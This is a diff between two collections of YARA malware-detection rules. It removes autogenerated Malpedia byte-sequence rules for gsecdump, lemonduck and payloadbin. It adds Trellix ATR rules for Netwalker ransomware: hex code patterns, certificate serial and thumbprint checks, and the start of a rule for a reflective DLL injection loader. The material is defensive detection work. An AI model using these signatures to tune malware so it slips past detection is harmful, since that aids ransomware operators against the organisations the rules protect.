-		$sequence_2 = { e8???????? 83c41c eb2b 837d0803 7525 }
-		$sequence_3 = { 8bec 83ec20 8b4508 8b888c050000 }
-		$sequence_4 = { eb13 8b55f8 8b4210 8d0c8510000000 }
-		$sequence_5 = { 51 ff15???????? 8b55f0 52 ff15???????? 8b45ec 50 }
-		$sequence_6 = { c745fc08000000 eb09 8b85b8fdffff 8945fc 8b4dfc 83c106 }
-		$sequence_7 = { 8d4c0002 8b55e8 894a04 8b45f8 }
-		$sequence_8 = { 68fc000000 8b4df0 8b11 52 }
-		$sequence_9 = { c60100 837dec00 7547 6af5 ff15???????? 8945f0 }
+		$pattern = { 8B????8B????89??C7????????????EB??8B????52E8????????83????8B????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCC558B??83????C7????????????83??????74??83??????72??83??????75??8B????E9????????C7????????????8B????33??B9????????F7??83????89????8B????8B????8D????51E8????????83????89????83??????0F84????????C7????????????C7????????????C6??????C6??????C6??????8B????3B????0F84????????8B????2B????39????73??8B????89????EB??8B????2B????89????8B????89????C7????????????8B????03????8B????2B??89????74??83??????7E??83??????7D??C7????????????8B????03????89????8B????518B????03????528B????03????50E8????????83????8B????03????89????83??????75??6A??8D????528B????03????50E8????????83????8B????83????89????8B????03????89????E9????????8B????8B????89??83??????74??8B????52E8????????83????8B????89??C7????????????8B????8B??5DC3CCCCCCCC558B??51B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????81????????????75??8B????83????89????C7????????????EB??C7????????????B9????????6B????8B????0FB6????BA????????C1????8B????0FB6????C1????0B??B8????????D1??8B????0FB6????C1????0B??BA????????6B????8B????0FB6????C1????0B??BA????????C1????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FBE????BA????????C1????8B????0FBE????C1????0B??B8????????D1??8B????0FBE????C1????0B??BA????????6B????8B????0FBE????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????D1??8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????6B????8B????89????8B??5DC3CCCCCC558B??B8????????6B????8B????C7????????????B8????????6B????8B????C7????????????B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????5DC3CCCCCC558B??83????83??????75??E9????????8B????508D????51E8????????83????BA????????6B????8B????8B????83????B8????????6B????8B????89????B9????????6B????8B????83??????75??B9????????6B????8B????8B????83????BA????????6B????8B????89????83??????77??C7????????????EB??8B????83????89????8B????3B????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??EB??C7????????????EB??8B????83????89????83??????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??8B????83????89????8B????83????89????8B????83????89????E9????????8B??5DC3CCCCCCCCCCCCCCCC558B??83????C7????????????EB??8B????83????89????83??????7D??8B????8B????8B????8B????89??????EB??C7????????????EB??8B????83????89????83??????0F8E????????B9????????6B????B8????????C1????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????C1????BA????????C1????8B??????33??????C1????B9????????C1????BA????????C1????8B??????33??????C1????0B??BA????????C1????89??????B8????????6B????BA????????C1????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????C1????BA????????6B????8B??????03??????BA????????C1????89??????B8????????C1????B9????????C1????8B??????33??????C1????B8????????C1????B9????????C1????8B??????33??????C1????0B??B9????????C1????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????6B????B8????????C1????8B??????33??????C1????BA????????6B????BA????????C1????8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????C1????B9????????6B????8B??????03??????B9????????C1????89??????BA????????6B????B9????????C1????8B??????33??????C1????B8????????6B????B8????????C1????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B????B9????????6B????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????D1??BA????????6B????8B??????03??????BA????????D1??89??????B8????????6B????BA????????D1??8B??????33??????C1????B9????????6B????B9????????D1??8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????D1??B8????????6B????8B??????03??????B8????????D1??89??????B9????????6B????B8????????D1??8B??????33??????C1????BA????????6B????BA????????D1??8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B???? }
+		$pattern2 = { CCCCCCCCCCA1????????C3CCCCCCCCCCCCCCCCCCCC538B??????5533??5785??74??8B??????85??74??8B????85??74??C1????50E8????????83????89??85??74??8B????5633??85??74??5653E8????????83????85??74??8B????85??74??8D??????89??????5150E8????????83????85??74??8B????8B??8B??????89????FF????8B????463B??72??39????B9????????5E0F44??5F8B??5D5BC35F5D33??5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC535556578B??????85??74??83????74??8B????85??74??8B??????85??74??33??85??74??8B??????660F1F??????85??74??8B??53FF????E8????????EB??E8????????8D????8B??FF????8B??53FF??83????85??75??463B????72??5F5E5D33??5BC35F5E5DB8????????5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??56E8????????8B????50E8????????83????85??75??A1????????6A??83????5650E8????????83????85??75??56E8????????83????85??74??8D????66??????74??83????83????75??33??5EC383????74??A1????????6A??83????5150E8????????83????85??74??B8????????5EC3CCCCCCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??A1????????83??????74??8B??????85??74??56E8????????8B??????????83????83????75??83??????74??66????????75??0FB7??83????72??83????76??83????66??????76??6A??8D????5650E8????????83????85??74??B8????????5EC333??5EC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??A1????????83??????74??51E8????????8B??83????85??74??8B??????????6A??83????5651E8????????83????85??74??B8????????5EC356E8????????83????33??5EC3CCCCCCCCCCCCCC535556576A??E8????????8B??83????85??0F84????????8B??660F1F??????0FB7????83????51E8????????8B??83????85??74??0FB7????51FF????57E8????????83????83????????????74??A1????????83??????74??6A??83????5750E8????????83????85??74??E8????????8B????3B????74??6A??51E8????????8B??83????85??74??E8????????6A??538B????FF??E8????????538B??????????FF??57E8????????83????8B??03??85??0F85????????55E8????????83????E8????????6A??8B??????????FF??E9????????CCCCCCCCCCCCCC83????5533??565739??????????0F84????????8B??????85??0F84????????8B??????85??0F84????????53E8????????8B??????????FF??83??????8B??74??E8????????FF????8B??????????FF??89??????E8????????8D??????516A??8B??????????8D??????516A??57FF??85??74??8B??????89????83????74??E8????????8B??????????FF??2B??3D????????77??83??????75??5B5F5E8B??5D83????C3BD????????5B5F5E8B??5D83????C35F5E33??5D83????C383????558B??????85??0F84????????5333??5733??89??????89??????E8????????8D??????518D??????8B??????????5157576A??FF????FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????56E8????????8D??????518D??????8B??????????51FF??????FF??????6A??FF????FF??85??74??33??39??????76??8B??????0F1F??????????E8????????8B??????68????????FF????8B??????????FF??FF??89??????8D????????????5053E8????????8B??83????85??74??FF??????68????????E8????????83????89????474683????3B??????72??8B??????FF??????E8????????83????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??E8????????FF????8B??????????FF??463B??72??53E8????????83????5EE8????????8D??????516A??FF????8B??????????FF??5F5B85??74??8D??????50FF????E8????????83????E8????????FF????8B??????????FF??55E8????????83????33??5D83????C2????CCCCCCCCCCCCCCCCCCCCCCCC83????568B??????85??74??E8????????8D??????516A??8B??????????56FF??85??74??8D??????5056E8????????83????E8????????568B??????????FF??33??5E83????C2????CCCCCCCCCCCC83????83????????????5356570F84????????A1????????83??????0F84????????55E8????????68????????6A??6A??8B??????????FF??8B??89??????85??0F84????????660F1F????????????C7??????????????C7??????????????C7??????????????E8????????8D??????518D??????8B??????????518D??????516A??6A??6A??6A??55FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????E8????????8B??????8D??????518D??????8B??????????518D??????51FF??????566A??6A??55FF??85??0F84????????33??33??89??????39??????0F86????????0F1F??????????FF??E8????????83????85??75??FF????E8????????83????85??74??E8????????68????????FF??8B??????????55FF??89??????85??74??6A??E8????????8B??83????85??74??8B??????8D????????????5189????8B??????5389????E8????????8B??83????85??74??5568????????E8????????83????89????478B??????8B??????83????4089??????3B??????0F82????????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??0F1F????E8????????FF????8B??????????FF??463B??72??53E8????????83????FF??????E8????????83????E8????????68????????8B??????????FF??E9????????5D5F5E33??5B83????C2????CCCCCC83????53558B??????565785??0F84????????8B????8D??????516A??55C7??????????????FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????6A??8D??????6A??50E8????????33??83????B8????????66????????39??????0F8E????????8B??????8D??????5083????C7??????????????438B??89??????0F10??????8B??510F11??FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????8B??????8D??????C7??????????????33??52508B??FF????83????????0F84????????FF??????E8????????83????85??0F85????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????33?? }
+		$pattern3 = { CCCCCCCCCC558B??FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF?????????? }
 
 	condition:
-		7 of them and filesize <588800
+		uint16(0)==0x5a4d and any of ($pattern*)
 }
-rule MALPEDIA_Win_Payloadbin_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Netwalker_Signed : FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2565adb0-0fc6-53d7-a6d7-714ee1e92525"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.payloadbin_auto.yar#L1-L130"
-		license_url = "N/A"
-		logic_hash = "23ee48d932fb0666838e9fe4bd35ace2ae0b6a999ccab2645c6692a493a38f19"
+		description = "Rule to detect Netwalker ransomware digitally signed."
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "6806b917-2e02-57e3-887a-b4c12db83653"
+		date = "2020-03-30"
+		modified = "2020-11-20"
+		reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L30-L47"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "d78ed22771d7c93516375afb8fd2fd7baa40a357ec3c247939a10d11f80ae226"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { eb05 bb08000000 488b0d???????? 4c8bc7 33d2 ff15???????? 413bdf }
-		$sequence_1 = { 668930 41c0f1c1 0fb70f 488bd7 450ad1 4c8bce 66410fabca }
-		$sequence_2 = { e9???????? 6644893c4f 660fc9 488bcf e9???????? ff15???????? e9???????? }
-		$sequence_3 = { f5 4803d5 e9???????? e8???????? 83c340 66413bf2 8d433f }
-		$sequence_4 = { c18c2400000000bb 48f79c2400000000 0f87deb91400 488d642418 9d }
-		$sequence_5 = { 4433c1 664133ce 418b0c84 d2e8 23cd 66410fbcc1 660bc4 }
-		$sequence_6 = { e8???????? c0a4241000000074 6873173773 48818424080000009c149337 49b90d1dba73583cde39 e8???????? 0f8867890000 }
-		$sequence_7 = { 41f6c593 483bc7 e9???????? 0f8482020000 488d4330 488d4b08 e9???????? }
-		$sequence_8 = { 8505bfcdef86 fb beae9070fe 40ad 6f }
-		$sequence_9 = { 6681ac2418000000ff28 4881842408000000b8559f29 e8???????? 9c 4881842408000000157db449 66818424100000001054 50 }
+		note = "The rule will hit also some Dridex samples digitally signed"
 
 	condition:
-		7 of them and filesize <3761152
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "/CN=EWBTCAXQKUMDTHCXCZ" and pe.signatures[i].serial=="17:16:bb:93:fb:a9:a2:41:ba:a8:2e:c7:5e:ff:0c" or pe.signatures[i].thumbprint=="a4:28:e9:4a:61:3a:1f:cf:ff:08:bf:e7:61:51:64:31:1a:6f:87:bc")
 }
-rule MALPEDIA_Win_Gsecdump_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Netwalker : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b81c271d-e899-564d-95e1-3cec03c5f3c1"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gsecdump_auto.yar#L1-L132"
-		license_url = "N/A"
-		logic_hash = "6bf60f2f5adb73a31aef591a4e85eec2a9f319786a1094bc7166c02e51c8574f"
+		description = "Rule based on code overlap in RagnarLocker ransomware"
+		author = "McAfee ATR team"
+		id = "80097a40-534a-5e1b-8fde-e4d832d76698"
+		date = "2020-06-14"
+		modified = "2020-11-20"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L49-L75"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "8c56ebed9e097d294045de46942c708da9ba7e01475dcecb0c3d41fcc8004780"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { c7060f000000 c746fc00000000 c646ec00 83c61c 8d56e8 3bd7 }
-		$sequence_1 = { 8b442438 50 e8???????? 83c404 8b4c2478 64890d00000000 59 }
-		$sequence_2 = { 7205 e8???????? 83460401 e9???????? 8b06 83f8fe }
-		$sequence_3 = { 7376 8bcf c1e105 894d14 03cb 51 50 }
-		$sequence_4 = { 8d57fe 52 53 8d442430 50 8bce e8???????? }
-		$sequence_5 = { 51 e8???????? 83c408 85ff 8bf7 0f869afdffff 8b4c2414 }
-		$sequence_6 = { 50 8d8c24bc000000 c684244401000004 e8???????? 8d4c2428 889c2438010000 e8???????? }
-		$sequence_7 = { 8b4604 3b442424 0f84a3000000 8b06 83f8fe 7427 85c0 }
-		$sequence_8 = { 50 e8???????? 8b4538 3bc6 7409 50 e8???????? }
-		$sequence_9 = { 33d2 59 f7f1 33f6 8d2c95908c4400 8b7d00 85ff }
+		$0 = {C88BF28B4330F76F3803C88B434813F2F76F2003C88B433813F2F76F3003C88B434013F2F76F2803C88B432813F2F76F4003C8894D6813F289756C8B4338F76F388BC88BF28B4328F76F4803C88B434813F2F76F2803C88B433013F2F76F400FA4CE}
+		$1 = {89542414895424108BEA8BDA8BFA423C22747C3C5C75588A023C5C744F3C2F744B3C2274473C6275078D5702B008EB3F3C6675078D5302B00CEB343C6E75078D5502B00AEB293C72750B8B542410B00D83C202EB1A3C74750B8B542414B00983C2}
+		$2 = {C8894D7013F28975748B4338F76F408BC88BF28B4340F76F3803C88B433013F2F76F4803C88B434813F2F76F3003C8894D7813F289757C8B4348F76F388BC88BF28B4338F76F4803C88B434013F2F76F400FA4CE}
+		$3 = {C07439473C2F75E380FB2A74DEEB2D8D4ABF8D422080F9190FB6D80FB6C28AD60F47D88AC6042080EA410FB6C880FA190FB6C60F47C83ACB754B46478A1684D2}
+		$4 = {8B433013F2F76F0803C88B432013F2F76F1803C88B0313F2F76F3803C88B430813F2F76F3003C88B433813F2F72F03C8894D3813F289753C8B4338F76F088BC8}
+		$5 = {F73101320E32213234329832E3320C332D334733643383339133A833BD33053463347C34543564358335AE36C3362937E9379A39BA390A3A203A443A183B2B3B}
+		$6 = {8B431813F2F76F4803C88B432813F2F76F3803C88B434013F2F76F200FA4CE0103C903C88B432013F2F76F4003C88B433013F2F76F3003C8894D6013F2897564}
 
 	condition:
-		7 of them and filesize <630784
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and all of them
 }
-rule MALPEDIA_Win_Lemonduck_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Win_Netwalker_Reflective_Dll_Injection_Decoded : RANSOMWARE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "731c6313-f288-5766-8bd2-365369510b0a"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lemonduck_auto.yar#L1-L114"
-		license_url = "N/A"
-		logic_hash = "45ef0f5ff171ed9ba03997994f483fd024a13ee436b3a8cb1b81df72104021e2"
+		description = "Rule to detect Reflective DLL Injection Powershell Script dropping Netwalker, after hexadecimal decoded and xor decrypted "
+		author = "McAfee ATR Team"
+		id = "9562c0b9-e7ac-5b96-99cc-1df91cb617af"
+		date = "2020-05-28"
+		modified = "2020-11-20"
+		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/ | https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L77-L140"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "fd29001b8b635e6c51270788bab7af0bb5adba6917c278b93161cfc2bc7bd6ae"
+		logic_hash = "e99c045f39e7933e877a4df7793aa5ea6be5a782bb079419501929ba99844dec"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 30
+		tags = "RANSOMWARE"
+		rule_version = "v1"
+		malware_type = "ransomware"
 
 	strings:
-		$sequence_0 = { 41c1e018 42330c22 450bc8 46334c2204 4433d9 410fb64625 4533d1 }
